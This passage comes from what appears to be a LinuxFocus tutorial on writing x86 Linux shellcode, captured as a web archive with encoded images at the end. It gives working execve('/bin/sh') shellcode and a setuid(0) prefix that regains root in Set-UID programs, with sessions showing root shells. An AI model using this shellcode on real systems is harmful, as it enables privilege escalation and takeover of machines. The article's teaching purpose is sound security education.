 80483ca:   c3                      ret   =20
 80483cb:   90                      nop   =20
 80483cc:   90                      nop   =20
 80483cd:   90                      nop   =20
 80483ce:   90                      nop   =20
 80483cf:   90                      nop   =20

The data found after the 80483c1 address doesn't represent = instructions, but=20 the "/bin/sh" string characters (in hexadécimal, the = sequence=20 2f 62 69 6e 2f 73 68 00) and random bytes. The code doesn't = hold=20 any zeros, except the null character at the end of the string at = 80483c8.

Now, let's test our program :

$ ./shellcode4
Segmentation fault (core dumped)
$  =20

Ooops! Not very conclusive. If we think a bit, we can see the memory = area=20 where the main() function is found (i.e. the = text area=20 mentioned at the beginning of this article) is read-only. The shellcode = can not=20 modify it. What can we do now, to test our shellcode?

To get round the read-only problem, the shellcode must be put in a = data area.=20 Let's put it in an array declared as a global variable. We must use = another=20 trick to be able to execute the shellcode. Let's replace the = main()=20 function return address found in the stack with the address of the array = holding=20 the shellcode. Don't forget that the main function is a = "standard"=20 routine, called by pieces of code that the linker added. The return = address is=20 overwritten when writing the array of characters two places below the = stacks=20 first position.

  /* shellcode5.c */
 =20
  char shellcode[] =3D
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;

      /* +2 will behave as a 2 words offset */
      /* (i.e. 8 bytes) to the top of the stack : */
      /*   - the first one for the reserved word for the=20
             local variable */
      /*   - the second one for the saved %ebp register */

      * ((int *) & ret + 2) =3D (int) shellcode;
      return (0);
  }

Now, we can test our shellcode :

$ cc shellcode5.c -o =
shellcode5
$ ./shellcode5
bash$ exit
$=20

We can even install the shellcode5 program Set-UID=20 root, and check the shell launched with the data = handled by=20 this program is executed under the root identity = :

$ su
Password:
# chown root.root shellcode5
# chmod +s shellcode5
# exit
$ ./shellcode5
bash# whoami
root
bash# exit
$=20
=20

Generalization and last details

This shellcode is somewhat limited (well, it's not too bad with so = few=20 bytes!). For instance, if our test program becomes :

  /* =
shellcode5bis.c */
 =20
 char shellcode[] =3D
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) =3D (int) shellcode;
      return (0);
  }

we fix the process effective UID to its real UID value, as we = suggested it=20 in the previous article. This time, the shell is run without specific = privileges=20 :

$ su
Password:
# chown root.root shellcode5bis
# chmod +s shellcode5bis
# exit
$ ./shellcode5bis
bash# whoami
pappy
bash# exit
$=20
=20

However, the seteuid(getuid()) instructions are not a = very=20 effective protection. One need only insert the setuid(0); = call=20 equivalent at the beginning of a shellcode to get the rights linked to = the=20 initial EUID for an S-UID application.=20

This instruction code is :

  char setuid[] =3D
         "\x31\xc0"       /* xorl %eax, %eax */
         "\x31\xdb"       /* xorl %ebx, %ebx */
         "\xb0\x17"       /* movb $0x17, %al */
         "\xcd\x80";

Integrating it into our previous shellcode, our example becomes : =

  /* shellcode6.c */
 =20
  char shellcode[] =3D
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  int main()
  {
      int * ret;
      seteuid(getuid());
      * ((int *) & ret + 2) =3D (int) shellcode;
      return (0);
  }

Let's check how it works :

$ su
Password:
# chown root.root shellcode6
# chmod +s shellcode6
# exit
$ ./shellcode6
bash# whoami
root
bash# exit
$=20
=20

As shown in this last example, it's possible to add functions to a = shellcode, for instance, to leave the directory imposed by the=20 chroot() function or to open a remote shell using a socket. =

Such changes seem to imply you can adapt the value of some bytes in = the=20 shellcode according to their use :

`eb XX`	`<subroutine_call>`	XX =3D number of bytes to reach = <subroutine_call>
`<subroutine>:`
`5e`	`popl %esi`
`89 76 XX`	`movl %esi,XX(%esi)`	XX =3D position of the first item in the argument array (i.e. = the=20 command address). This offset is equal to the number of characters = in the=20 command, '\0' included.
`31 c0`	`xorl %eax,%eax`
`89 46 XX`	`movb %eax,XX(%esi)`	XX =3D position of the second item in the array, here, having a = NULL=20 value.
`88 46 XX`	`movb %al,XX(%esi)`	XX =3D position of the end of string '\0'.
`b0 0b`	`movb $0xb,%al`
`89 f3`	`movl %esi,%ebx`
`8d 4e XX`	`leal XX(%esi),%ecx`	XX =3D offset to reach the first item in the argument array and = to put=20 it in the `%ecx` register
`8d 56 XX`	`leal XX(%esi),%edx`	XX =3D offset to reach the second item in the argument array and = to put=20 it in the `%edx` register
`cd 80`	`int $0x80`
`31 db`	`xorl %ebx,%ebx`
`89 d8`	`movl %ebx,%eax`
`40`	`incl %eax`
`cd 80`	`int $0x80`
`<subroutine_call>:`
`e8 XX XX XX XX`	`call <subroutine>`	these 4 bytes correspond to the number of bytes to reach=20 <subroutine> (negative number, written in little=20 endian)

Conclusion

We wrote an approximately 40 byte long program and are able to run = any=20 external command as root. Our last examples show some ideas about how to = smash a=20 stack. More details on this mechanism in the next = article...

------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/jpeg Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/FredCrisBCrisG.jpg /9j/4AAQSkZJRgABAQEASABIAAD//gAXQ3JlYXRlZCB3aXRoIFRoZSBHSU1Q/9sAQwAIBgYHBgUI BwcHCQkICgwUDQwLCwwZEhMPFB0aHx4dGhwcICQuJyAiLCMcHCg3KSwwMTQ0NB8nOT04MjwuMzQy /9sAQwEJCQkMCwwYDQ0YMiEcITIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy MjIyMjIyMjIyMjIy/8AAEQgAlgDIAwEiAAIRAQMRAf/EABwAAAICAwEBAAAAAAAAAAAAAAAGBQcC AwQIAf/EADsQAAIBBAAEAwcBBwMDBQAAAAECAwAEBREGEiExE0FRBxQiMmFxkYEjQlJiobHBFTPh FiTwJnKSwtH/xAAaAQEAAwEBAQAAAAAAAAAAAAAAAgMEBQEG/8QAJhEAAwACAgICAQQDAAAAAAAA AAECAxEEEiExQVETBSJhcYGxwf/aAAwDAQACEQMRAD8Av+gnQJPYVxZXJwYfGzX1zvw4hshe5+gq p+JfbGQ8AwyPGV6v4qjv6GrsXHvL5Xo8bSHzNe0DAYK8NpdXLGYDZWNd6+9Qlj7XcPMbj3yGS3VN mMg83OP8GvP2Tyk+Rvpby5mMs8rczsfM1zi4PIR16963zxcKWn7IdmXWfbc4upCuKRrXekLScrfc 04cKe0fFcTyi2CtbXZOhG52G+xrzB429g9q7sLmJ8Rkoby3P7SJgwr2uPhpaS0Ns9h0VBcJcTW/F WDiv4RySfLNHvfI3pup2uXUuX1fssCiiovKcR4fDxu19kIIivdOcF/8A4jrUQSlFVLl/bOBI0eIx nMvlLcnv9eUfr50sye1jitmLLc26Dr0WBdD87NAegKKpKw9sGcDILuzs5k6bKIysf66qwcF7QsLm 3SDne1uWH+3MNAn0DdjQDZRXwEMAQQQexFfaAKKKKAKKV+KuPMPwrCwupTJca+GGPqd/X0qkuJva lxDmI3jjuBZ23flj6MfpvvUHaXg04+Ldrs/CL9y3FOEwic1/kYIj/DzAn8VxYXjzAZ6593s72My7 6KWHWvJ08OUyX7Xwppf5js7rPHR5fC30dz7vMoU72Ae1R7suXGj00/7PafeikD2fccrnLSGzuti4 1pGPUt9DT/U5pUtoy5cVYq60FFFFSKhH9q4f/otij8up1J662NN0rzZIslxcCOMFmY6AFWr7ROP1 y2NTFwK3KNM7Ea5m16fmljgjGxy3L3cihivRd+Vdvj4qnGoorb8nXgeAI3iWW/O3I3y+Qqcl4Gxz JpYuX7UxwkAAAdK7FK8uzV7fX0iJV+S4CCNzQOQuu1KORw9xjZPjU8vrV7XIQjVK2cx8V1ayKVB2 K96Ta9eQInDXFV/gbuIQ3k8Vr4geRI2716iwmZss7i4b6xmEsTqN9eqn0Poa8g3Vube4kTyU6FP/ ALOeMMjhfeLWJk91MZlcMNnYHlWDk4u0tv2icstT2icbNw7AllZOvvcqksw6mMeX2NUXdXkt3cvL cSM7ueYsTsndbc5lp8rkJ7qUszuSfiNQ8KzuumHc9D6VyyZ1NcRqT1PX+lfTcIq7GiNdK55bVmB+ HRA7VzPzA6A7dOooDrN7Ix0p0K2xXjxfvkHzriB5eYbIAH5NBcBRoEtrvqgLV9n3H7Yy6WzyVw74 +UaVmO/Bb1+1XejpIiujBkYbVlOwR615DtJnZlCD4vWr29l3FYvLGPA3S8txboxikLf7i73y69Rv 8CgLIpQ4/wCLYuGcK/JJq6kGlA7gHzpslkEUTyN2VSxryf7SuJ5+IeKrjTf9vE3KgB2Khb+EaePC b716X+yFy2YnyN8bh3Z3Zumzvr6U6YPhUSWQlugDI/X7UmYm2WS/t2f4viJJ1V2Y6Ee6x+mhqs9f SOvh35ujCwwsUECIqDQA8q7mxcJXTRK33FSNqgC6NbnQaopFZXsXrPGxYvLw38CcnI4LhemxVuQz JcQpNEwZHAZSPMVXcijlO6YuD7ktbXFqTvwmDKPQH/mrMT09GTmz3jv9DLRRRV5yjyz7QIIrbjTJ QQpyRJOQqDsBUnwneQ2GJaaY625AHrU77V+DpbPKT5xJQ0F0+yvmredLeHsZnwkZgKmRmOubstfQ 8d9kq/gqZOJxkFmC+5TeHv5tU0WuUt7i2WUA6890gjh3JTuTPdMw9AtTWGsZIrW5haRmAGgfrVzh P2eG7LcVrFMYbW0eVvUVGNxCswEdxbywM3QFh0rj/wBAu7stJBdOrA+S7INanxGVhI95n8aIHrzr 1FSS14R4KudTwsnMh7E7H61nw+Ss903OV5bdtddb3of5rp4mtOS/iIPNzRjrWXDlqsj3/OdFLWRw CN70N/p2rDyYbVf5Jo5eUsxAbqT5018PYYS6lnXa+QpZtFEt4utnZq18NAi2Mahew8/OuIWGq44b tbi3ULEokHmBS/e8Furfs12dd6sSAdOoArrEKs29D9B3oCpE4FvHOinSpGH2dOIuaRv0FWckQUdB /ajTa1ok/btQFPZXg6Sxikng+ZBv9Kj+Gsrc4/K215FIUkgkB/TsR+Nirju7ZJUcP+8pUiqzhwPL xla4yNRyTXKqOY9CpIP9t0Be/Ecj/wDS1+6fMYDr9a8bXcpa+nLdGDEbPl1r2pk7cT4i6twuw0TK B+leTcbwquZ46v8AGzMyJHzyHyJ6jQ/rVV+Hs28dOsfVff8AwwwBElxAN6VmA+9XdboFiUDsBVd3 fBacOPHLHK7qoBIY9hsdqsOwdZbSNgdhlFUfJ1kmsa2Bybxu0dtbvPIOnToB+prCLNXZn8O5x7xp /GrBhX2/x808JjhlaEMPmTvXPaWL2ywxfE7Rg80hJ233p5CUNHfe5CC1tTMx6EdAB1P0rHgjN3bc UeDc2TQ293EVjYts8w6jY8ugNc+Xshd2CrzMjKfmTuK38FY9E4otjIxPg255P5mHTZ+uia9lvsiv Kp/BX9FpUUUVrOAIntFeGaKCylYFnUsiepqt+G35IZbZl5HhkII8xT17TcdMt/i8tAszrGWWXkUs FAHTt67NVvjMlHcZ25KKyc67II1sg13+E5/DKRVXscDp4vidj07Vx2+SsImliM6cy/NojpUZfZ+3 sD4TksxHYUoXF415cyGG1ChvTvWl6XgiPVjPbXFzK1vN1B6lDW++2yaeVnH1pHxeaGNUo0KqfNl8 6n1y0d7CGjapJpsETew+/Z9IQu0jTZ6dq7cBZQLjOIpfDZpvdHWJt65dnWxXCi3s+buIcdaTT3Ei hAUG9EirQ4D4cvcHwplZM5ZGOSSJgY30SygE+tY+ZkmcdLfklK8lOYOLnvo113YDr96tayIhiVfp SZZ4R7TiMKV3CCXU6/pTkLctGXHQAdfrXBLTvXJW0AJdhseldNrnMfKBq4UH0bpSrPkDabMONadh 12eg/sa1PPLdMJDYxIWcrpQeb7npQD+tzE6hkYEHzrCW9gg6tIF6dyahcMrEeE4KsDrv0qFz0twt /LEYGkEY6DZG/wAA0AxyZrHyll8dSR0rgwlsLn2l2EykhY4JJO3cgFf/ALUs214CpX/RnUb6tzFj 9+wp74CtQuUkmZfiFuwUkeRZf/z+tAWFVCcaY48I+1Bc3y8lhdjlcjsoOt/hhV90ne0vALnuELlQ gaaAGRenXXn/AOfSoZFtGniX1yJP5F+VYcnaczKksTAnm3sEarRbcsKpGo0o6ACqV4KzGVtM+mLW 9nFq5ZWh5trvR7en6VcdvJzIpPfVZ6WmdjDXeNoYYyGUCtVywhQlQD960W0w1snsKjrrJvctLFDy RqBrxJD0J+lG/BGYbo6FvIHWVZJDvt1UgH7VJ8Kr/wCoYSoP+0xP06Uh5GC9ezZDmE8Qna6UjR30 p39mM1xdvfSXSjxrcLCXHY+Z/sKR5pDkrphpli0UUVrOABAI0RsUgcZ8EWUhObx8a293GS04UdJV Pfp5Gn+uLMRmbD3cY7mJquwZHGRNM8a2jzjLBbXGWmjuE527Ls1rlSG0bk/09WHketaM9FPa35uY Cd60a47TiOWPYm+LXrX0TpJ6ZUSRjtQplms41VRvWq5cdNEZZHh+FCei1FXuZmu5WAJ5T5V04eFn lG+i72airTrSGj0TwDibS04ctr1LdRdXW3kkI69yB+mgKabhUe3kWT5Cp5telRPCcnjcK41tAahC /jp/ipllDoyMNqw0R9K+f5FN5ab+2Wr0UzkJ0kyRlTlHOWYhRoDZqYx5WWEbO+naovMRpDk3gXtE zRg+ujqunGzARhTVJ6TnuSMgK6B+la5MYHO3OwO2q6IblOTWx0rRf3jeEY4AeYjuPKgNdryRXAVB 8p7DyrZfWUU12srj5l5d9qi4clb2koLly2/i0PzXRc8R2c0awQ88zsfhCjqKA7oMTErb2T96mMAI 4svIgKgmIgDffqKhLfJkwgsNNqpHhtvfM7JMO0MR2deZ6Af3/FAONYTRJPA8TjaOpU/Y1nSpxHm2 eOS0sn6AfG6nufQVGqSXktw4qyVqSmo+EBjOJY7yIAqLyQH1CneqdZYDFplHSty24MnIR0YbBrrK B4+Q/MB29RWX2d7an0QtzctBbh1bXxAH7Vux/g+4AShdklhul/jRbuzxZnt0d1VtsFGyBSY3F9wy xcj6ULplJ868SZN1KWmx8vMgrTzQNb8iovMznXVasb2bW3h8Jx3ZQK15I8+/VSdD+grzvNlbzM3k dvC+mlYJ0Pl9a9V4m2is8RZ2sJUxwwpGOU9NAAVbinztmD9Qypwpk6wNHuTuivtFaDkATobPak/i Din4Lq0sIxKI0JkmB2o8tCp/KW7XdnJCWIR1IIHn0pExtlDYxTY9vl2V5T/Ca2cSYdbryRrYgZW3 8ZSyjrStPYqWO0G/tVkZbEyY+XsXgb5X/wAGolsdFJ8WhXe0rWyoRo8fzSAIn4phtbMWsI6fEamY 8dHF8QQbrlnUlyPT0pMKQPfB/Ek1ljTFKnjW0JGlHQrv0p+s81ZXQ14yo/8AC/Q1WvD2PeDByzTK V8dgVB9B2rPNX8WMtHnk/cUAAdyfSuNzIh5G0WTvRs47kgXiweCULe7x+Jy/xEt3+utf0ritF5gG 399Uo213NczNdTOzPcKD1PQa7D8EfimLGXg5eU6Gq5xMn4O4AJ3XDcZpInZLdOdtaBPnWu4vOWPm STR1rvXyzxVubNZWVZXYbO+uqAhJo8hdytMVP5FaEF1ZyCRtq4OwdjdMjTxWx5Gx6dO5PkK1hor8 ge5qoHXYWgNNldPdFup5lGzTtwd4VjY317KWAd1UfXQJ6fmkeSaK0vHRdAkddeVOuMjRcbZ+EdiW PxJOvQMSdj9NAfpXjekTxz2rTMspmbzIQlIHMUZPyx/MR6bqPjU6HMpB8x6UwS2sccW0HUDovrUL dTSjYCcp8zqqKT+Tp4qnXWUajGhcH0Gq+EeR7g7H1+v/ABXRbILlNEcrjzrN7Nx2IPrXmi3uvkjp UWVSrKDsdtd6Ss3wrg9mQ2aIznZKEj+1Ps1s53tSD56qMmxsLyK8m25Owbtv1qLTLoqfkVLTDYrA wCeKzDtITos2yPzTNw/npbdeaNpITvpGDtT+lcmS8JTHCVBU7AJGyD61J4rFTNMpueXovwa7a9a8 neyWXr000P8AiM3Dk4wCPDmHdD5/aioWCCLl5x8LL8rdqK0Kvs414E3+0bHXmUilTO8PSXMqXVo5 jnQ9ddmH1ptr4VB71dFuXtGUV1xourXkmjB2NMjCoW64QQEmAlAf3T1FP3gIDsboMCHvutMcu59E XKKxfhe5Pw8oI/8AdXVYcGKJVadFIB3qrC91j+tZrAi9t1bXPtrSPOiErNMtuyRkBLeFeZj2FU/x LnGy96QhIt4yeUb+Y+tXJ7RcercMSGPn5mkG+vlon/FUA6kHr0IrHeR0S0MWHVbnHxqehUld+hHb /FdUgns5t6+Idx/EPUVEcPXKx35gYgLMPhP8w8v1H9qc2txcReGw+oPmKrPRWkyvibUkgb1rdOmE zMDW6JJ8+++hrVKmTwQbcg2rdw4HQ/eomOS9xrEOjN5AjrQFueNa3MRVgpB6bOvSuS4yVtawmNUX etDXlVfR8VCOPTFtqd69TWqbLXOQ0IY20ToHt/550BlkMk4v5JFbR2dedb7PiLJ2kqzRXTcy+RA1 +Kib6JYpkRteJybYfXZrm5ip6mgLCsfaFcq6rfRrIu+rL0IH27f2p2tbyDJ49LiB1khcfMO6n0P1 qixLvpTz7OGvGyMtrysbKYbI8lf1H31r8VFz9F+PK09MsEW7w2u4viJHkQKhzezRSEbZW8+YU4xW Bij5eRv0FYS41Ze8bAjseXtUHLNM55XshLaaSdNvHo+ujWM0lurcrLzH6Cp17IhOVItD05DXIcTy sW93LMf5TXnVhZpIg4y1vCroo5h6/wCK2yExzJEiBgnQ9PKpSHFurdISo+xrtixahtsP6V6pPKzo 5IrX3iEBAV9KKnI4VjAAA6UVPqZnmfwbKKKKkUhRRRQBRRRQEfmLRLywMLjYJ/wa89cR4d7K/mj5 flYj7ivScih0INV1xpw09yzXUC7bXUUBSPxIwZTysp5lPoR51YOIyAyFjFN2OtOPRh3FKWSxrxEy KhH8Qrbwxf8AuuTNu51FP269n8vz2/FAPUihtnp1qKurEDmKrtPT0qUQn799VjK6RoxdgABsk+VA Lb42N9MNarKCBUl+BDyIPm13PnUdksjJcTtJayiKEMY+QEBm9WI8qgMm9xGfCmeTw2QSRiU66dx+ f80BNZe0eeUTxLt0B6jzHpUdsOm6YrZWFtCX6jkAfZ79O9RlzjJI7weENxynX2NAacbZPfX0cCAn Z+Ij0q+eFMGmPsowqhW0CTUDwRwYlpAt1cp+0frrVWPFGIkCgaoDOiiigCiiigCiiigCiiigCiii gCiiigCiiigCtU1ukyFSB1rbRQCHxBwPHeM0tv8As3PkOxqv8n7PMhEWkhUh976Cr8rFkR/mVW+4 3QFM2kN57tG1zEyygcsgA119a0z211cMF8JuQdQB+99TVzmztT3toT90FYtj7Rm37ugP0Gv7UBQO T4enbmkhgZZe50vzVAPhchf2waOycyIT8w6H0GjXptsZZP8ANbqf1NYx4mxi34duqk99f80BTuH4 ayF3aQB4ip5AG6eYpywvBiQyiS5HPrsCO1PEdvFENKoraBrtQGqCBYUVR5CttFFAFFFFAFFFFAFF FFAFFFFAFFFFAFFFFAFFFFAFFFFAFFFFAFFFFAFFFFAFFFFAFFFFAFFFFAFFFFAFFFFAFFFFAf/Z ------=_NextPart_000_0007_01C0F71D.98C08540 Content-Type: image/gif Content-Transfer-Encoding: base64 Content-Location: http://www.linuxfocus.org/common/images/illustration183.gif R0lGODlhZABkAOcAAMfC1b22xOnm7sq+yItqYoFqZsnDyuvr7Jp6dGlKQXNQRp2OjdbW25yOlN/a 5LWrs1Y+NlkyJ3NWTebi6ol2deri46SSlXxeV49+f9zY2nNaUEorHVYuIlEsIY96eE84Lmg6N7+6 zXpvb9DGxbuttmdPR25FNmA/Mn1mYe3r8peCgUAnHIFua5yGhV85Ls7K1j46OjUpJpKSonVKQHJG Pmg+Nca2utbS6Y6KlVk4KjAiG0Y6OtrS3HxiWoxlXGZEOKSaorKyujo2NioeGlpOSpyKi2ZiZpGC hJJsZWJGOIdyb66ksGJaXsnG2lAyJKCernpSQYNaUX5UR4ZlXt7e9oCAjp6Wnb2rrLSdm4peVoJI Uq6Yma2qvExGRkAyLtLG0c66wYBzc3VfWbimqNDF2a6RjpJ0b5GPm56SmK2iqIaAiLSuvpaHitra 8eLe8tHO5aOWnMKqq6meprmiool6e9bO3sO1xsC+zcLC0eLi9trW6eLa8t7a7sWytdbG1t7W666u wObm/ohuadnP0buyt9rO3aqantTK4N7a8rq6zZeVpcOyvtLS6dnW7uLi/rqywPLu7ufm6rSlsbut vL6mpammuOLi+uLe+s7CzOPZ2rKVlKWPjLu2y7Wzxcm90tXO2d7W4qKJhtbO4+bi/a6epMC6xJ6B fZaPmKeis+7u+83K36aIg5Z/d7KkpKeWlM6+xtrS5+Le9uPg43RlZ3BueWZaXsa+xZCGjV5KQoF6 g8q6wNLK15yaqvPz/dLCwt7a6uDR3dbK2NLCy8q2usm6ytrS4tbK0NbG0erq/sKusN7W5rqenebi 7qKis5d1bcG+0+LW5qqKgrKqvObi8nl4hIiGk45ybqOCfeTe7Ori6opScp56hv7O1vpicuqywv6E kvo/U/ExR+YiNtoOKuAeNuYmPvI2TfouQvkGHt6GnvkSKvIKIvISLs46YtIuVt6+1u4+UtKlubqC tuo4VNaqtvKaqvZKWqp+hvpOYuaeFP///////////////////////yH+Dk1hZGUgd2l0aCBHSU1Q ACH5BAEKAP8ALAAAAABkAGQAQAj+AP8JHEiwoMGDCBMqXMiwocOHCStYuIDBAcIMGjZw6NDhwUIB Hj6AuFAEUsEQYRT4iDKFBMSXKYjASODjDJo0R9QUXFNATA4FEi5YKMiATRs3b5q8YQAnzsE3cuZg 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 